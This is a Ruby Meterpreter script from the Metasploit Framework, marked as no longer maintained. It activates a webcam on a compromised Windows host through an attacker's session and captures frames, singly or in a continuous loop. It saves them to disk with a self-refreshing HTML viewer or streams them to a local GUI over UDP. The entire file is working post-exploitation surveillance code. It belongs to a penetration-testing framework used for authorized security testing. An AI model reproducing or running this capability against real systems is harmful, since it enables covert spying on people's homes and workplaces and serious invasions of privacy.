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GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/scripts/meterpreter/webcam.rb
Views: 11768
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##

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# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.

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# If you'd like to improve this script, please try to port it as a post

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# module instead. Thank you.

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##

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#  Author: scriptjunkie

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#

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# Simplify running webcam, whether grabbing a single frame or running

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# a continuous loop.

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@client = client

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opts = Rex::Parser::Arguments.new(

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  "-h" => [ false, "Help menu" ],

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  "-f" => [ false, "Just grab single frame"],

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  "-l" => [ false, "Keep capturing in a loop (default)" ],

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  "-d" => [ true, "Loop delay interval (in ms, default 1000)" ],

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  "-i" => [ true, "The index of the webcam to use (Default: 1)" ],

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  "-q" => [ true, "The JPEG image quality (Default: 50)" ],

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  "-g" => [ false, "Send to GUI instead of writing to file" ],

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  "-s" => [ true, "Stop recording" ],

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  "-p" => [ true, "The path to the folder images will be saved in (Default: current working directory)" ],

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  "-a" => [ false, "Store copies of all the images capture instead of overwriting the same file (Default: overwrite single file)" ]

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)

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iterator = 0

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folderpath = "."

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single = false

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quality = 50

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index = 1

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interval = 1000

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gui = false

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saveAll = false

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opts.parse(args) { |opt, idx, val|

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  case opt

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  when "-h"

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    print_line "webcam -- view webcam over session"

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    print_line(opts.usage)

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    raise Rex::Script::Completed

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  when "-f"

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    single = true

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  when "-l"

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    single = false

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  when "-d"

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    interval = val.to_i

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  when "-i"

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    index = val.to_i

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  when "-q"

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    quality = val.to_i

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  when "-g"

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    gui = true

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  when "-p"

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    folderpath = val

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  when "-s"

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    print_line("[*] Stopping webcam")

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    client.webcam.webcam_stop

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    raise Rex::Script::Completed

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  when "-a"

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    saveAll = true

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  end

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}

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if client.platform != 'windows'

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  print_error("This version of Meterpreter is not supported with this Script!")

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  raise Rex::Script::Completed

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end

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begin

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  camlist = client.webcam.webcam_list

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  if camlist.length == 0

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    print_error("Error: no webcams found!")

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    raise Rex::Script::Completed

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  elsif camlist.length < index

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    print_error("Error: only #{camlist.length} webcams found!")

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    raise Rex::Script::Completed

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  end

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  print_line("[*] Starting webcam #{index}: #{camlist[index - 1]}")

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  client.webcam.webcam_start(index)

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  #prepare output

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  if(gui)

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    sock = Rex::Socket::Udp.create(

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        'PeerHost' => "127.0.0.1",

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        'PeerPort' => 16235

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      )

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  end

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  imagepath = folderpath + ::File::SEPARATOR + "webcam-" + iterator.to_s.rjust(5, "0") + ".jpg"

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  print_line( "[*] imagepath is #{imagepath}" )

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  htmlpath = folderpath + ::File::SEPARATOR + "webcam.htm"

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  begin

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    if single == true

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      data = client.webcam.webcam_get_frame(quality)

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      if(gui)

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        sock.write(data)

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      else

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        ::File.open( imagepath, 'wb' ) do |fd|

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          fd.write( data )

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        end

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        path = ::File.expand_path( imagepath )

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        print_line( "[*] Image saved to : #{path}" )

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        Rex::Compat.open_file( path )

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      end

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    else

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      if(!gui)

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        ::File.open(htmlpath, 'wb' ) do |fd|

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	  htmlOut = "<html><body><img src=\"webcam-" + iterator.to_s.rjust(5, "0") + ".jpg\"></img><script>setInterval('location.reload()',#{interval});</script></body><html>"

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	   fd.write(htmlOut)

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        end

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        print_line( "[*] View live stream at: #{htmlpath}" )

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        Rex::Compat.open_file(htmlpath)

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        print_line( "[*] Image saved to : #{imagepath}" )

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      end

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      while true do

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        data = client.webcam.webcam_get_frame(quality)

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        if(gui)

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          sock.write(data)

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        else

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          ::File.open( imagepath, 'wb' ) do |fd|

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            fd.write( data )

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        ::File.open(htmlpath, 'wb' ) do |fd|

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	  htmlOut = "<html><body><img src=\"webcam-" + iterator.to_s.rjust(5, "0") + ".jpg\"></img><script>setInterval('location.reload()',#{interval});</script></body><html>"

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	   fd.write(htmlOut)

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	    if(saveAll)

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              iterator = iterator + 1

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              imagepath = folderpath + ::File::SEPARATOR + "webcam-" + iterator.to_s.rjust(5, "0") + ".jpg"

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            end

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        end

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      end

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        end

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        select(nil, nil, nil, interval/1000.0)

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      end

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    end

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  rescue ::Interrupt

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  rescue ::Exception => e

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    print_error("Error getting frame: #{e.class} #{e} #{e.backtrace}")

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  end

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  print_line("[*] Stopping webcam")

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  client.webcam.webcam_stop

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  sock.close if sock != nil

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rescue ::Exception => e

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  print_error("Error: #{e.class} #{e} #{e.backtrace}")

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end

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